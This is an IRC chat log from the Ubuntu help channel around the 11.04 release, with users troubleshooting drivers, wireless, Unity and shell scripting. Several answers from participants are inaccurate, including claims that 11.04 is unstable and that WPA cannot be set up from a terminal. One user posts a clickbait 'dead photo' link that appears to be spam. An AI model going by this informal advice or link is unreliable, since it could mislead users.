[20:32] <roasted> genii-around, It's the ath9k driver. Shall I file with that?
[20:32] <igi69_> Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10 is working the bluetooth in the other not ubuntu 11.04, I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-6
[20:32] <roasted> ScottR3, oh wow. no kidding? What keys in particular is this?
[20:32] <roasted> BlouBlou, take care!
[20:32] <Customs> roasted: are you a network administrator??
[20:32] <ScottR3> roasted: Mod4 + T (Mod4 = windows key)
[20:33] <bubba> choice!!  yes. We can change just for the challenge of it.
[20:33] <roasted> Customs, network administrator? No. I'm a system technician though, waiting for this Windows install to finish up.
[20:33] <igi69_> Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10) is working the bluetooth in the other not (ubuntu 11.04), I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubunt
[20:33] <lsolesen> Black screens on update seems to be quite common :(
[20:33] <ScottR3> roasted: what's more, Mod4+E still works as originally bound...
[20:33] <roasted> lsolesen, update... or UPGRADE?
[20:34] <Customs> roasted: In americ?
[20:34] <roasted> Customs, yes
[20:34] <Customs> roasted: in america*??
[20:34] <lsolesen> roasted: I upgraded via update-manager
[20:34] <Customs> roasted: awesome
[20:34] <lsolesen> to 11.04
[20:34] <roasted> lsolesen, from 10.10 to 11.04?
[20:34] <lsolesen> Yep!
[20:34] <roasted> lsolesen, then that's considered an upgrade.
[20:34] <xrhstaras> updated
[20:34] <igi69_> Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10) is working the bluetooth in the other not (ubuntu 11.04), I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubunt
[20:34] <W43372> i need to change my processor speed in Natty but I'm not sure how to do that without the panel applet
[20:34] <roasted> lsolesen, I cant offer any help, as I've never trusted upgrades on any OS platform. Ever upgrade from XP to 7?
[20:35] <roasted> talk about a nightmare
[20:35] <Nasty> just installed latest ubuntu using the windows installer. during install i set aside 100gb for ubunto. install cmpletes great. restart, select ubuntu from boot menu, and i get a progress bar that its finishing the install. this is when i get the error "no root partition is defined". tells me to use the partitioning utility. dual boot with windows 7 ult 64, cant wipe the hdd
[20:35] <JoshDreamland> What has changed about GNOME and Bonobo in 11.04 that would cause my applet to stop working?
[20:35] <vaul> Hello, human beings. Is there a way how I can install proprietary Nvidia drivers on the Ubuntu 11.04 live CD?
[20:35] <JoshDreamland> Panel applet, I Mean
[20:35] <lsolesen> roasted: yep, sorry about the wrong word. Just thought Ubuntu would cut it :/ I have upgraded from 9.04 - 9.10 - 10.04 - 10.10 without any issues.
[20:35] <roasted> vaul, nvidia drivers require a reboot to activate, so I'm doubtful that's possible.
[20:35] <lsolesen> But obviously not this time.
[20:36] <ScottR3> JoshDreamland: you logged in to Ubuntu Classic and not Unity, right?
[20:36] <Customs> roasted: ive found the guide to setting up port forwarding on my router, its asking what i want to port forward and it gives me the option, remotely possible server. Should i select that option??
[20:36] <muneeb> Can't we change file permissions of file residing on NTFS partitions?
[20:36] <JoshDreamland> ScottR3: correct
[20:36] <lsolesen> roasted: how do I boot just to the command line?
[20:36] <vaul> roasted: That really is not good.
[20:36] <roasted> lsolesen, you could try recovery console, which is in the boot menu
[20:36] <lsolesen> Probably soething about gnome / unity or something?
[20:36] <ScottR3> JoshDreamland: which applet exactly, and what's not working about it?
[20:36] <roasted> lsolesen, it's possible, but I'm not too sure.
[20:36] <vaul> roasted: Maybe a log in/log out will be enough?
[20:36] <vaul> roasted: Or a X restart?
[20:37] <roasted> Customs, I'm not sure. I've only port forwarded 80 and called it that. I have a *very* basic router though which is very limited on functionality.
[20:37] <Isonyx> Hey could someone help me out. I'm trying to make a bash script that checks if anything that prevents tor from running is open and then kills the process. The script is. # if any relevant processes are running, inform the user and exit cleanly
[20:37] <Isonyx> RUNNING=0
[20:37] <Isonyx> for process in tor vidalia polipo privoxy
[20:37] <Isonyx>         do pid=`pidof $process`
[20:37] <Isonyx>         if [ -n "$pid" ]; then
[20:37] <FloodBot1> Isonyx: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:37] <roasted> vaul, an X restart might do it actually... but I'm doubtful log in/out would fly.
[20:37] <Selean> Добрый день
[20:37] <Selean> вернее вечер
[20:37] <Selean> :)
[20:37] <Customs> roasted: would you say im setting up a server for people top connect to though??
[20:37] <OerHeks> !ru | Selean
[20:37] <ubottu> Selean: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[20:37] <roasted> Customs, not necessarily. what you're doing is very basic... it doesn't sound like you want authentication or loggins or anything like FTP often requires.
[20:38] <blz> hello!  I made an ubuntu minimal install, but I can't seem to get the wireless working.  i've installed wireless-tools, but iwlist scan returns the following error:   "wlan0     interface doesn't support scanning:  network is down".  I initially followed the instructions here:  http://www.mini-itx.com/projects/xbmc-ion/module/8
[20:38] <roasted> Customs, I just accept whatever I put in that public/storage folder in /var/www that I created COULD be on the web for anybody to see.
[20:38] <roasted> Customs, so if I post a picture in there and link it to somebody, I accept it might be public forever now.
[20:38] <roasted> Customs, but I do it in an intelligent manner. I just use it to host files temporarily for friends or to help me out with something at work. I don't use logins or anything like that.
[20:38] <vaul> roasted: Well, I'd rather give it a try. Could you hint how to do it? "Additional Drivers" thing won't find them, unfortunately.
[20:39] <xcyclist> Looks like I've lost my contact for 11.04 video resolution degeneration help.  My video is:  Video chipsets: Intel HD Graphics 256MB NVIDIA® Quadro® NVS3100M
[20:39] <igi69_> Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10) is working the bluetooth in the other not (ubuntu 11.04), I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubunt
[20:39] <muneeb> Can't we change file permissions of file residing on NTFS partitions?
[20:39] <blz> I should mention that the computer in question is presently connected to an ethernet cable and I'm working via ssh
[20:39] <roasted> vaul, I'm not sure, as that's the only way I've installed them. I think nvidia drivers come from the web site in a .sh format, which if you grant it executable rights and sudo ./nameoffile.sh you might be able to install there. That's just me talking out loud though.
[20:39] <Customs> roasted: i would need to set up a static ip address on my linux machine though wouldn't i??
[20:39] <meco> It appears my gui is broken since after the login screen it just goes black. Should I try a reinstall?
[20:40] <roasted> Customs, you wouldn't *need* to, but if you don't, you might have to log into your router pretty often to change the IP in the forwarded setting since port 80 would be bound to a specific IP. So if your boxs IP changes, your apache functionality is gone till you change it.
[20:40] <vaul> roasted: I currently don't have anything better than you talking out loud, so that will have to do. Thanks.
[20:40] <roasted> Customs, VERY quikc fix, but very annoying too. I personally give myself a static IP.
[20:40] <roasted> vaul, good luck!
[20:41] <Customs> roasted: ah im starting to understand now :) thank you
[20:41] <roasted> Customs, no problem. and now that my windows install is within 30 seconds of being done, I must go. take care!
[20:41] <varunthacker> I tried installing gnome 3. After a lot of hassels I managed to run it. turns out i would prefer unity . So i purged the ppa. How to get back unity ?
[20:41] <TomThumb> New install ubuntu 11.4, when using Software Centre it says "Check your internet connection", I am online..  How do i fix this?
[20:42] <roasted> varunthacker, the GNome 3 PPA is currently a "one way upgrade." I do not know of a way to reverse it once it's installed, besides reinstalling.
[20:42] <roasted> varunthacker, It's just the nature of the beast considering Gnome3 and Unity are both *very* new and reverse-uninstalls haven't been figured out yet.
[20:42] <diskin> hi all, in /etc/modprobe.d/alsa-base, is it the same what to use: "-" or "_" in module name (e.g. "options snd-hda-intel model=dell-m81")?
[20:42] <varunthacker> roasted: so i'm stuck with lxde ?
[20:42] <varunthacker> i have logged in from it
[20:43] <Customs> roasted: is it a UDP or TCP i waqnt??
[20:43] <roasted> varunthacker, without reinstalling, I'm not sure there's any hope to bring Unity back. At least right now.
[20:43] <varunthacker> roasted: also can i get gnome 2 back easily ?
[20:43] <roasted> Customs, I'm not sure which protocol it uses. A quick google search might show you the answer. I think I have a wildcard entry to use both UDP and TCP though on my router.
[20:43] <JShubert683> Anyway to try out Unity via a pinguyos install?
[20:43] <hcaine> Hello. I want to install a global spell checking with 11.04
[20:43] <roasted> varunthacker, again I'm not too sure offhand. All I've read says once you install Gnome3, there's no going back without a reinstall. Not yet, anyway.
[20:43] <blz> hello!  I made an ubuntu minimal install, but I can't seem to get the wireless working.  i've installed wireless-tools, but iwlist scan returns the following error:   "wlan0     interface doesn't support scanning:  network is down".  I initially followed the instructions here:  http://www.mini-itx.com/projects/xbmc-ion/module/8
[20:44] <GeekyAdam> if anyone from ubuntu.com is here, the 11.04 netbook torrent file link is bad (or the torrent file is bad?)
[20:44] <Customs> roasted: anyway thanks for your help cya now :)
[20:44] <GeekyAdam> heres the address: http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent
[20:44] <roasted> varunthacker, I know not everybody has spare boxes sitting around, but I have an older one just for situations like this. I depend on my desktop for *a lot*, so downtime is a big hassle for me. So I install whatever OS I'm planning on using and use it/break it and see what happens. That way by the time I install it on my main desktop, I'm not feeling like a fish out of water...
[20:45] <alkemann> does anyone have any tips to fix the new natty search/launcher when it is very laggy (at start, after first character, it takes noticibly long to show first results)
[20:45] <varunthacker> roasted: have a look at http://askubuntu.com/questions/22946/how-do-i-install-the-latest-version-of-gnome-3
[20:45] <varunthacker> roasted: the top answer at the end of the post says how to remove gnome 3
[20:45] <roasted> varunthacker, this is news to me.
[20:46] <GeekyAdam> QUESTION: with the 11.04 release (with UNITY as default desktop), is there still a netbook edition? or is desktop with UNITY the same as netbook edition (so netbook edition not necessary now)?
[20:46] <roasted> varunthacker, would an apt-get install unity work?
[20:46] <roasted> varunthacker, that's the best I got.
[20:46] <mnassif> Hi , i tried to install ubuntu 11.04  but it freeze in timezone window. I am using a Dell t7400
[20:46] <TomThumb> New install ubuntu 11.4, when using Software Centre it says "Check your internet connection", I am online..  How do i fix this?
[20:46] <britta_> GeekyAdam, as I understand it there is no netbook edition from now on.
[20:46] <varunthacker> roasted: It says unity is already the newest version
[20:47] <roasted> varunthacker, nad you're still black screening on bootup?
[20:47] <varunthacker> I ran a apt-get update and dis-upgrade
[20:47] <varunthacker> No i get the login screen
[20:47] <TheRedOctober> GeekyAdam: There doesnt appear to be (my mirror doesnt have it)
[20:47] <tfrojd> Hi i have managed to install a bitnami lamp stack image based on ubuntu on an amazon ec2 instance, I have sshed in and want to put 2 scripts running in nohup mode. However contrary to my mac I dont get a shell back after executing "nohup command &". Am I doing something wrong?
[20:47] <varunthacker> but no unity option
[20:48] <tfrojd> instead script runt as usual until i press enter and I get back to bash but my program is not running
[20:48] <TheRedOctober> tfrojd: what happens if you ctrl+z?
[20:48] <ayecee> tfrojd: nope, that sounds right.
[20:48] <zeneke> irc://irc.esper.net/starcraft
[20:48] <Isonyx> Hey could someone help me out. I'm trying to make a bash script that checks if anything that prevents tor from running is open and then kills the process. The part of the script that works is printf "\n$process is already running as PID $pid\n\n" however if I do kill $pid it comes up with kill 11: Operation not permitted. Could anyone assist?
[20:49] <botcity> !nbr | GeekyAdam,
[20:49] <ubottu> GeekyAdam,: Starting with Ubuntu 11.04, the Ubuntu Netbook Edition is no longer being offered as a separate install as Unity is now standard for all Ubuntu desktop installs.
[20:49] <tfrojd> cntrl-z does nothing
[20:49] <ayecee> Isonyx: use kill -9 instead
[20:49] <tfrojd> ayecee: so how do i start two commands in the background that still will run after i hang up
[20:49] <Isonyx> What is kill -9? I want to kill the process specified in printf
[20:49] <ayecee> Isonyx: or, the process is running as a different user than your kill script.
[20:50] <TheRedOctober> tfrojd: can you ssh into another instance and pgrep $yourcommand?
[20:50] <Isonyx> That could be the case.
[20:50] <roasted> where should I report ubuntu bugs at? The link on launchpad keeps routing me to using ALT+F2 to report bugs, but I want to post it to launchpad directly.
[20:50] <USFTW> Revealed Osama Dead Photo: http://img862.imageshack.us/i/osamadead.jpg/
[20:50] <ayecee> tfrojd: you're doing it the right way. I don't know why it doesn't work.
[20:51] <GeekyAdam> botcity: thx
[20:51] <iceroot> roasted: use the alt+f2 method please
[20:51] <cheddars> ok ubuntu we know your different but more the window buttons back to the right please!
[20:51] <tfrojd> TheRedOctober:  I try, but you mean a new ssh  connection on the same instance right?
[20:51] <TheRedOctober> tfrojd: this is not the right answer, but might be a workaround.  use screen and detach it instead of nohup.
[20:51] <GeekyAdam> britta_: thx
[20:51] <GeekyAdam> TheRedOctober: thx
[20:51] <Bookman>  I just upgraded from 10.04 to 10.10 and now my ATI Xpress200 video card is not working in 3D.  The Additional Drivers does not show anything as being available.
[20:51] <roasted> iceroot, oh I thought alt+f2 was gone in 11.04. My bad.
[20:51] <iceroot> roasted: ubuntu-bug packagename
[20:51] <TheRedOctober> tfojd: yeah, i realized that made no sense after i typed it.
[20:51] <roasted> iceroot, it's not a "package". I've isolated it to being a brand of wireless card. What should I choose?
[20:51] <xcyclist> Is there a fixit list somewhere for Thinkpad Lenovo T410 to undo all the things 11.04 breaks on that kind of laptop?
[20:52] <iceroot> roasted: create a bug against the package with the wifi-driver
[20:52] <Superstar_> Does Ubuntu 11.04 support biometrics?
[20:52] <roasted> iceroot, so ubuntu-bug ath9k?
[20:52] <iceroot> roasted: creating a bug against hardware is not a good idea
[20:52] <iceroot> roasted: if that is the package, yes
[20:53] <roasted> iceroot, says the package does not exist.
[20:53] <JoshDreamland> ScottR3: Sorry, I didn't notice your reply. The applet is one I made myself. You can download it for x64 from its project page here: http://sourceforge.net/projects/quickdrawer/ . It worked perfectly on Lucid, but cannoy spawn more than one instance on Natty.
[20:53] <roasted> iceroot, should I use network manageR?
[20:53] <JoshDreamland> cannot*
[20:53] <iceroot> roasted: what is the bug exactly?
[20:53] <iceroot> roasted: its a driver issue?
[20:54] <roasted> iceroot, this atheros card is very very slow with using WPA/WPA2 security. I replaced it with an intel and directly compared, and the intel is about 10-12x faster on speed tests. If I remove security, the atheros card is on par with the intel.
[20:54] <Isonyx> Thank you ayecee. The issue was the process was running as root. Know anyway I can have it automatically check if the process is running on root or my user and if so get elevated access automatically with a preset password and then close the process?
[20:54] <roasted> iceroot, it's only with 11.04. 10.10 did not exhibit this problem.
[20:54] <roasted> iceroot, as my laptop dual boots 10.10 and 11.04 on independent partitions.
[20:54] <roasted> iceroot, I have no idea where it falls under. I'm just trying to post a bug to it asap so I can do my part to help out and get outa here today :)
[20:55] <Froq> what application launcher do you guys recommend?
[20:55] <brontosaurusrex> what does it mean: "This driver is activated but not curently in use" ?
[20:55] <snikker> hi, i've got a problem with ethernet in natty, the lan cable is connected and the led on the switch turn on/off without keep a connection (under windows fine). Any hints?
[20:55] <chotaz> Hey everyone, can anyone tell em a good GUI alternative for SQLYog on Ubuntu 11.04?
[20:56] <Isonyx> Thank you ayecee. The issue was the process was running as root. Know anyway I can have it automatically check if the process is running on root or my user and if so get elevated access automatically with a preset password and then close the process?
[20:56] <tfrojd> suddenly the nohup gives me shell back!?! just seemed that it took some time
[20:56] <JoshDreamland> When the applet tries to load another instance, I just get a Bonobo gripe, The panel encountered a problem while loading "OAFIID:QuickdrawerApplet"
[20:57] <tfrojd> thanks guys seem that it is working now
[20:57] <mnk> haay
[20:58] <disappearedng> I am using a new wireless driver on my macbookpro but then I am seeing massive packet loss: 29 packets transmitted, 8 received, +21 errors, 72% packet loss, time 28040ms
[20:58] <disappearedng> rtt min/avg/max/mdev = 72.704/96.187/132.188/25.590 ms How should I go about fixing it
[20:59] <blz> sudo iwlist scan outputs my access point's ESSID (among others), but when I type "sudo iwconfig wlan0 essid <my router's ESSID>" I get the following error:  essid:  unknown host
[21:00] <blz> what gives?
[21:01] <sakuragno> hi! someone know how to modify application menu in Xubuntu10 like the old menu editor alcarte?
[21:01] <sakuragno> in other words.. is there in xubuntu10 any kind of menueditor like alcarte?
[21:01] <dlbass_> Hello everyone! I am trying to setup a server with two network cards. They are both recognized by ubuntu, and one is working properly as an LTSP port, but the other one will not connect to the internet.
[21:02] <dlbass_> sakurango, I am not familiar with the new Xubuntu, but can you right click on the Application launcher and choose to edit?
[21:03] <sakuragno> nope :D
[21:03] <dlbass_> aww
[21:03] <sakuragno> i just can modify propriety... not the list
[21:03] <Ring0`> How can I remove partially installed software?
[21:03] <Pici> sakuragno: You can try asking in #xubuntu if you don't get an answer here.
[21:03] <sakuragno> i'm in xubuntu but noone there answering
[21:03] <vrln> how can I add a gdm session? GDM in Natty does not do anything even if I add a new file to /usr/share/xsessions
[21:04] <vrln> I have a .desktop file there, but nothing happens
[21:04] <osse> Does anyone know how to make Ctrl+Shift act like AltGr?
[21:05] <Fodi69> how can I use my F9 key with unity?????????
[21:05] <dlbass_> I see that I forgot to actually ask my question in haste, does anyone know how I can get the network card to connect. I have tried manually setting it up to work with DHCP, but it still doesnt do anything.
[21:05] <jibadeeha> anyone here using clementine and would you recommend it
[21:06] <vaul> !restore grub
[21:06] <vaul> !grub
[21:06] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[21:06] <electus> hi, anyone know what the process [flush-9:0] does? hits top of my 'top' often
[21:06] <cheddars> hello guys. im using the gparted tool in the livecd (cool!) i have made 100 GB free for use in ubuntu. do i restart the computer and then choose install or do i still do it from inside the livecd desktop
[21:06] <electus> ubuntu server 10.04
[21:07] <victorhugo289> hello
[21:08] <victorhugo289> Guys, in Unity, in the "Files and Folders" thing, it says "Search files and folders" but it doesn't actually look for anything./
[21:08] <BajK> cheddars: I think you can install ubuntu directly from the live cd
[21:08] <victorhugo289> I've tried looking for something and it only opens my most recent files..
[21:09] <royceremer> cheddars: partitioning has been built into the ubuntu livecd for some time, you don't have to reboot to install, the changes take effect as soon as you apply them
[21:09] <victorhugo289> You press the Windows key, you get this black black background thing, you try to search for a file, no searching at all!
[21:09] <cheddars> ok cool
[21:09] <vaul> cheddars: Of course you can, just go to the System->Administrationn->Install Ubuntu
[21:10] <victorhugo289> "Search files and folders" why doesn't it worjk?
[21:10] <Soothsayer> Is it possible to have a Windows 7 like taskbar at the bottom (and preferably across dual monitors) with Unity in 11.04?
[21:10] <cheddars> and that will allow me the option to use the unpartitioned space that i have free and leave my windows 7 install in tact, and also put like grub or something so i can dualboot
[21:10] <Soothsayer> victorhugo289: hmm i dont think that bar is for seraching for files
[21:11] <genewitch> I just installed 11.04 off usb (alongside windows) and it won't boot, it goes to busybox shell... how do i uninstall and tell it to use a 1tb partition?
[21:11] <Soothsayer> most recently used files, then yes.
[21:12] <kinga> hey there, anyone have any experience with IFS on ext2 volumes ?
[21:12] <kinga> from windows
[21:12] <ThaTJGreeN> @kinga yes I have
[21:13] <snikker> hi, i've got a problem with ethernet in natty, the lan cable is connected and the led on the switch turn on/off without keep a connection (under windows fine). Any hints?
[21:14] <GreeNtooTH> ifconfig eth0 up
[21:14] <genewitch> snikker: unplug and replug
[21:14] <GrimmVarg> hey guys, I just upgraded from 10.10. to 11.04 on my macbook pro and there seems to be some issues realting to kbd. the crash pop up tells me to provide the output here --> http://pastebin.com/LDHGqzfb any help would be appreciated :)
[21:14] <snikker> genewitch: i've already do it without success
[21:14] <genewitch> GrimmVarg: what's it doing?
[21:15] <genewitch> snikker: ifconfig eth0 down && ifconfig eth0 up && dhcpcd eth0
[21:15] <GreeNtooTH> dhclient eth0
[21:15] <GrimmVarg> genewitch: the screen freezes for a few minutes, then showing almost 100 popous about the crash. saying i crash occured provide the output of etc.. :/
[21:15] <genewitch> GreeNtooTH: sorry :-)
[21:16] <GreeNtooTH> lol
[21:16] <GrimmVarg> oh :P
[21:16] <chaospsychex> I just installed 11.04 and I am having some kind of display problem
[21:17] <chaospsychex> The GUI is 'garbled' . i didn't have this problem with 10.10
[21:17] <jahrome_> hi room
[21:17] <genewitch> GrimmVarg: what's your layout? norway?
[21:17] <jahrome_> why is my ubuntu so slow after upgrading?!?
[21:18] <snikker> genewitch: nothing to do
[21:18] <chaospsychex> Intel Corporation 82865G Integrated Graphics Controller is what i have
[21:19] <genewitch> snikker: i made a mistake you want to type dhclient eth0
[21:19] <guntbert> jahrome_: how should we know? In what way is it slow?
[21:19] <lsolesen> chaospsychex: that is better than my completely blank login screen except the mouse cursor :)
[21:19] <chaospsychex> damn dude
[21:20] <chaospsychex> gotta figure this out
[21:20] <oldos2er> hello
[21:20] <jahrome_> guntbert: after upgrading to 11.04 i have to unplug my USBmous after boot and plug it in again, so it works and my internet connection is very slow, file copy too
[21:20] <tgm4883> How can you make Ubuntu not disable unofficial repositories during a distro upgrade?
[21:21] <GreeNtooTH> 11.04 is not stable and is still under development
[21:21] <snikker> genewitch: doesn't work
[21:21] <LjL> tgm4883: you are determined to break your upgrade?
[21:21] <jrib> GreeNtooTH: no, 11.04 has been released
[21:21] <ikonia> GreeNtooTH: please don't talk nonsense
[21:21] <tgm4883> LjL, no, I am determined to upgrade to 11.04 from a local mirror :)
[21:21] <GreeNtooTH> oh sorry my mistake
[21:21] <guntbert> jahrome_: are you talking about slow network? what kind of network? wlan?
[21:21] <area51pilot> upgraded to 11.04 and there is no graphic desktop ... how do i start from term
[21:21] <jahrome_> GreeNtooTH: will it ever be stable and will the errors ever be fixed? or is my whole installation broken now?
[21:22] <kinga> hey there, anyone have any experience with IFS on ext2 volumes ? on windows
[21:22] <jahrome_> guntbert: yes, wlan atheros chipset (pci)
[21:22] <chaospsychex> can i 'downgrade' back to 10.10  without having to download 10.10 ?
[21:22] <blz> I'm trying to connect to a WPA/WPA2 network from the command line.  I have wpa_supplicant installed.  I can get wlan0 up and "sudo iwconfig wlan0 essid myssid" succeeds silently.  However, when I type "sudo iwconfig wlan0 key <HEXKEY>" I get the following error:  "error for wireless request "Set  Encode" (8ZB2A) : SET failed on device wlan0; Invalid argument.
[21:22] <ikonia> jahrome_: the release is a stable release
[21:22] <blz> any ideas ?
[21:22] <jibadeeha> GreeNtooTH, 11.04 is very stable on my netbook .. infact it is the first release that works without any tweaks
[21:22] <beta___> hello, can someone help me? I'm having random 'freezes' with Ubuntu 11.04
[21:22] <chaospsychex> iknoia: 11.04 is stable?
[21:22] <ikonia> chaospsychex: it is a stable release, yes
[21:22] <LjL> tgm4883: there's a hacked solution here: http://ubuntuforums.org/archive/index.php/t-763925.html
[21:22] <guntbert> jahrome_: atheros? I haven't heard about any problems yet
[21:23] <genewitch> GrimmVarg: it's a bug in xkeyboard-config, there's no fix yet that i can see
[21:23] <celthunder> biz is key the right arguement for that?
[21:23] <chaospsychex> ikonia: can you help me? i am having an issue with my GUI being 'garbled'
[21:23] <jahrome_> guntbert: i had no problems before upgrading to 11.04
[21:23] <chaospsychex> ikonia: wasn't like this in 10.10
[21:23] <celthunder> chaospsychex: what graphics drivers/gui are you using
[21:23] <ikonia> chaospsychex: no idea without investivation,
[21:23] <GreeNtooTH> your connecting to wpa/wpa2 doesnt use hex psk
[21:23] <chaospsychex> celthunder: Intel Corporation 82865G Integrated Graphics Controller
[21:23] <blz> celthunder:  it's an "L" not an "i" =)  Just so i see the red text pop up next time.  Regarding your question, I'm not sure.  It didn't work for a regular text key
[21:24] <tgm4883> LjL, Thanks, I'll test it out
[21:24] <chaospsychex> celthunder: i guess the installation picked what driver to use? How can I view the installation log?
[21:24] <guntbert> jahrome_: please ask the channel again, my own experience with natty is rather limited, but mention wifi slowness and atheros from the beginning
[21:24] <jahrome_> so question is now, whether i should wait for the fixes to appear or whether i should install my system again.
[21:24] <area51pilot> how do i start graphic desktop from term?
[21:24] <celthunder> chaospsychex: lsmod |grep i915
[21:24] <celthunder> area51pilot: startx
[21:24] <GreeNtooTH> startx
[21:24] <LjL> area51pilot: sudo start gdm
[21:24] <celthunder> area51pilot: or telinit 5
[21:24] <Bookman>  I just upgraded from 10.04 to 10.10 and now my ATI Xpress200 video card is not working in 3D.  The Additional Drivers does not show anything as being available.
[21:25] <area51pilot> celthunder: fails
[21:25] <chaospsychex> celthunder: what does that command do?
[21:25] <celthunder> area51pilot: do you have X insatlle?
[21:25] <blz> GreeNtooTH:  I used the output of wpa_passphrase... the second psk line
[21:25] <area51pilot> celthunder: connection refused
[21:25] <ikonia> celthunder: init 5 is no longer needed, upstart changes the run levels
[21:25] <celthunder> chaospsychex: searches loaded module for i915
[21:25] <blz> GreeNtooTH:  was that not the right thing to use?
[21:25] <celthunder> ikonia: ok good to know
[21:25] <area51pilot> celthunder...upgraded 10  to 11.04
[21:26] <chaospsychex> celthunder: so I need to load i915?
[21:26] <celthunder> area51pilot: what did it fail with?
[21:26] <celthunder> chaospsychex: that's the most common intel driver (including the one I use)
[21:26] <R3dy> does ubuntu use some special file other then /etc/profile
[21:26] <jahrome_> when i'll have to reinstall because of "upgrade is not stable" i will not install ubuntu again
[21:26] <R3dy> I'm trying to add directory to the PATH and it's not working
[21:26] <Customs> Hack the Planet!!!\
[21:27] <beta__> yeah, that whas an other freeze
[21:27] <chaospsychex> celthunder: ok it's showing up. how do I load it? what's the command to see what driver is currently loaded?
[21:27] <ikonia> R3dy: how are you adding it ?
[21:27] <ikonia> Customs: don't need that sort of nonsense in channel please
[21:27] <area51pilot> celthunder:(EE) fglrx(0): firegl_SetSuspendResumeState Failed -9 ddxSigGiveUp: Closing Log
[21:27] <R3dy> ikonia: two lines
[21:27] <ikonia> R3dy: how are you trying to add it, please show me
[21:27] <R3dy> PATH=$PATH:/home/username/bin
[21:27] <genii-around> R3dy: After you add the path are you doing: source /etc/profile      ?
[21:27] <R3dy> export PATH
[21:27] <Customs> Hack the Planet!!!
[21:27] <blz> anybody k now what this iwconfig error means:  Error for wireless request "Set Encode" (8B2A) :
[21:27] <blz>     invalid argument "newfagscanttriforce".
[21:27] <blz>    It occurs when I try to "sudo iwconfig wlan0 key <mykeyhere>"
[21:27] <GreeNtooTH> try passphrase 1st 1 down
[21:27] <nixot> Greetings, all.
[21:27] <nixot> I have run Ubuntu off a live USB stick on my tablet computer. However, the touch screen behaves erratically - in different ways for different versions, too.
[21:27] <nixot> In version 10.10, no presses are detected by the computer, unless I press with two fingers, at which point the cursor will jump to one of the fingers, but not click.
[21:27] <ikonia> R3dy: and what's failing
[21:27] <beta__> pleased if someone could help me. I know how to work with kernel, ppa, etc.
[21:27] <nixot> In version 11.04, the pointer moves with one finger but still doesn't click. Sometimes it clicks but only on a few controls.
[21:27] <beta__> Installed latest xorg, intel gpu
[21:28] <R3dy> I have executable scripts in that directory
[21:28] <beta__> drivers
[21:28] <nixot> In both versions, plugging in a mouse didn't work - the mouse merely moves around, with clicks not at all being noticed.
[21:28] <R3dy> but Iam not able to run them
[21:28] <area51pilot> celthunder: unable to connect to xserver: connection refused
[21:28] <ikonia> beta__: if you know how to work with the kernel - take a stack dump from it
[21:28] <nixot> Is there any software or things available to rectify this situation? Thanks in advance for any answers.
[21:28] <guntbert> !enter | beta__
[21:28] <ubottu> beta__: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[21:28] <GreeNtooTH> blz is it wpa
[21:28] <SoobNauce> The latest ubuntu update just bricked my laptop (I think it ate the filesystem) -- I left it running and when I was back the netbook was very hot and frozen.  Had to manually power off.  Can someone help me recover the filesystem?
[21:28] <area51pilot> celthunder: xinit: server error
[21:28] <ikonia> R3dy: what is the name of one of the scripts
[21:28] <R3dy> genii-around: thanks
[21:28] <R3dy> that helped
[21:28] <celthunder> area51pilot: ok
[21:28] <blz> GreeNtooTH, yes
[21:28] <chaospsychex> what's the command to show what video driver is currently loaded?
[21:28] <celthunder> chaospsychex: lsmod
[21:28] <R3dy> do I need to run that everry time I reboot
[21:28] <blz> GreeNtooTH:  wpa_supplicant is installed as well
[21:28] <beta__> sorry, will not do that again :P hmmm @ikonia, can you show me that?
[21:28] <kinga> hey there, anyone have any experience with IFS on ext2 volumes ? on windows
[21:28] <brontosaurusrex> ./.local/share/Trash was always at this path?
[21:28] <GreeNtooTH> you cant connect wpa from term use wicd or ndiswrapper
[21:29] <R3dy> cause I thought after I killed my terminal and started a new one it would autmatically re-read the profile
[21:29] <genii-around> R3dy: No, only when you add something to the /etc/profile or so on after being booted
[21:29] <R3dy> gotcah sweet
[21:29] <R3dy> thanks all!
[21:29] <chaospsychex> ok i915 is loaded for video and I am having issues with the GUI being garbled
[21:29] <blz> GreeNtooTH:  ndiswrapper is for using windows drivers, isn't it?
[21:29] <lubuntu> GreeNtooTH,  are you use wicd ?
[21:29] <SoobNauce> No one knows?
[21:29] <GreeNtooTH> go to wpa supplicant 1st 1 down then enter phrase
[21:29] <celthunder> area51pilot: what graphics card are you using that fglrx is fubared
[21:29] <Froq> so i install gnome-do, but it won't let me change the keyboard combo to bring up away from "space"
[21:29] <GreeNtooTH> wicd alot better
[21:29] <area51pilot> celthunder...any clue or clueless?  :P
[21:30] <Froq> so now when I type anything, my space bar bring gnome-do up to the forground... crappy!
[21:30] <lubuntu> GreeNtooTH,  then i use wicd its give error error filename
[21:30] <chaospsychex> how can I load another intel video driver?
[21:30] <blz> GreeNtooTH:  i'm not sure what you mean by "go to wpa supplicant 1st 1 down then enter phrase"
[21:30] <SoobNauce> Disappointing.
[21:30] <area51pilot> celthunder: not sure
